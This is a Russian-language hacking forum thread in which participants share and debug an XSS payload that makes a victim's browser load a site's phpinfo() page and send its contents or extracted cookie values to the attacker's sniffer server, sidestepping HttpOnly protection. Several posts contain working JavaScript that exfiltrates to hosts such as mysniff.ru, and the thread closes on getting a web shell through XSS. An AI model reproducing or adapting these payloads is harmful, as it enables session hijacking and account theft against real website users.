Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Загрузка кода страницы phpinfo() через xss ( тунель) (https://forum.antichat.xyz/showthread.php?t=439741)

bazaWT 10.04.2016 10:24

Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?

blackbox 10.04.2016 13:13

Цитата:

Сообщение от bazaWT

Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?

Вот пример, с помощью ajax открывается нужная страница и ее содержимое отсылается на целевой сниферок. Только для снифера нужно разрешить принимать запросы с других доменов (CORS):

Код:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange= function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
 
        var body = encodeURIComponent(xhttp.responseText);
        xhttp.open("POST", 'http://mysniff.ru/t.php', true)
        xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
        xhttp.send(body)
     
    }
};

xhttp.open("GET", "phpinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();

Я не знаю как себя будет на практике вести - в боевых условиях не тестил. Но может пригодится.

faza02 10.04.2016 17:35

надеюсь @psihoz26 меня не покорает за его скрипт)

Код:

var xhr = new XMLHttpRequest();
xhr.open('GET', '//site/phpinfo.php', true);
xhr.send(null);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        if(xhr.status == 200) {
            (new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
        }
    }
}


bazaWT 10.04.2016 19:10

Спасибо друзья +

bazaWT 11.04.2016 09:54

Цитата:

Сообщение от yarbabin

надеюсь
@psihoz26
меня не покорает за его скрипт)
Код:

var xhr = new XMLHttpRequest();
xhr.open('GET', '//site/phpinfo.php', true);
xhr.send(null);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        if(xhr.status == 200) {
            (new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
        }
    }
}


Не могу разобратся со скриптом, он должен исполнятся прямо в XSS или можно подгружать с другого домена ? Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает . Кроме того в сниф надо что то дописывать? он у меня простенький

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR


M_script 11.04.2016 10:32

Цитата:

Сообщение от bazaWT

Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает

В любом браузере есть инструменты разработчика, где можно посмотреть ошибки выполнения JS.

bazaWT 11.04.2016 12:25

Цитата:

Сообщение от M_script

В любом браузере есть инструменты разработчика, где можно посмотреть ошибки выполнения JS.

Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php

t0ma5 11.04.2016 12:39

Цитата:

Сообщение от bazaWT

Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php

такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?

blackbox 11.04.2016 12:48

Цитата:

Сообщение от bazaWT

Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php

Поставь fiddler и посмотри что куда шлется (и шлется ли вообще?). И на своем принимаемом скрипте нужно еще указать:

Код:



M_script 11.04.2016 14:45

Цитата:

Сообщение от bazaWT

Ошибки JS нет

Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают.

Цитата:

Сообщение от blackbox

И на своем принимаемом скрипте нужно еще указать:

Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.

bazaWT 11.04.2016 17:02

Цитата:

Сообщение от t0ma5

такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?

Есть массив

Цитата:

Сообщение от M_script

Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают.
Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.

Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма.

В XSS вставляю скрипт в таком виде img= new Image();img.src="http://bldfdfdd.125mb.com/22.js" . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .

blackbox 11.04.2016 17:21

Цитата:

Сообщение от M_script

Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.

В вики по-другому написано: "Cross-domain" AJAX requests are forbidden by default because of their ability to perform advanced requests (POST, PUT, DELETE and other types of HTTP requests, along with specifying custom HTTP headers) that introduce many cross-site scripting security issues. CORS defines a way in which a browser and server can interact to determine safely whether or not to allow the cross-origin request." И в общем-то логично, иначе какая это защита от хсс. Вот в этой статье, например: http://hayageek.com/cross-domain-ajax-request-jquery/ в серверных заголовках конкретно указываются, как методы/заголовки разрешены.

Цитата:

Сообщение от bazaWT

Есть массив
Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма.
В XSS вставляю скрипт в таком виде img= new Image();img.src="
http://bldfdfdd.125mb.com/22.js
" . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .

Протестируй у себя через хттп-прокси какой-нибудь и посмотрим, отправляются ли данные на самом деле через xmlhttprequest или нет.

M_script 11.04.2016 17:52

Цитата:

Сообщение от bazaWT

В XSS вставляю скрипт в таком виде img= new Image();img.src="
http://bldfdfdd.125mb.com/22.js
" . Может проблемма в src ?

Это шутка? Почему картинка должна исполняться как скрипт?

Цитата:

Сообщение от blackbox

В вики по-другому написано:

Произвольные заголовки запрещены. Обычный POST/GET с дефолтными заголовками отправляется.

Код:

var x = new XMLHttpRequest();
x.open('POST', 'http://anysite/', true);
x.send('param=value');


bazaWT 11.04.2016 18:36

Цитата:

Сообщение от M_script

Это шутка? Почему картинка должна исполняться как скрипт?
code]

Я по разному пробовал , src="http://bdkldjf.125mb.com/22.js" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.

Melfis 11.04.2016 20:00

Пояснения по этому коду

Цитата:

Сообщение от yarbabin

надеюсь
@psihoz26
меня не покорает за его скрипт)
Код:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/$PARAM1', true);
xhr.send(null);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        if(xhr.status == 200) {
            (new Image()).src="$PARAM2"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
        }
    }
}


$PARAM1 - локальная урла сайта, на котором xss и на котором ты можешь читать phpInfo: http://xss.com/some_path/php_info.php

$PARAM2 - сайт с твоим снифером, на который ты "как бы" обращаешься за картинкой и в параметрах запроса указываешь выдранные куки из ответа:

xhr.responseText - ответ с данными от phpInfo,

/_COOKIE.*?(.*?)/m - регулярка, которая выдёргивает куки из ответа.

В итоге именно этот скрипт с изменёнными под тебя $PARAM12 должен выполняться на стороне браузера.

Isis 11.04.2016 20:18

Цитата:

Сообщение от yarbabin

надеюсь
@psihoz26
меня не покорает за его скрипт)

Копирайтов еще не хватает, здесь же столько кода

faza02 11.04.2016 20:19

Цитата:

Сообщение от bazaWT

Я по разному пробовал , src="
http://bdkldjf.125mb.com/22.js
" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.

на код просмотрите еще раз

M_script 12.04.2016 03:29

Цитата:

Сообщение от bazaWT

Я по разному пробовал , src="
http://bdkldjf.125mb.com/22.js
" так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.


bazaWT 15.04.2016 22:46

Мужики подскажите, застопорился с этим скриптом . Он изымает куки с phphinfo , но только одну строчку . Гдето в регулярке проблема .

Код:

new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?(.*?)/m)[1]
        }

Но не пойму где , пробовал без нее, чисто текст , так вобще не передается на снифер .

ol1ver 17.04.2016 03:13

Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)

M_script 17.04.2016 03:25

Цитата:

Сообщение от ol1ver

Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)

Загрузить файл без участия пользователя нельзя. Но иногда шелл через XSS можно получить (редактирование шаблонов например).

/threads/275417/ - "Чтение данных и выполнение запросов через XSS"

ol1ver 17.04.2016 03:27

Цитата:

Сообщение от M_script

Загрузить файл без участия пользователя нельзя. Но иногда шелл через XSS можно получить (редактирование шаблонов например).
/threads/275417/
- "Чтение данных и выполнение запросов через XSS"

Запамятовал. Буду искать шаблон или accepted filetypes


Время: 13:38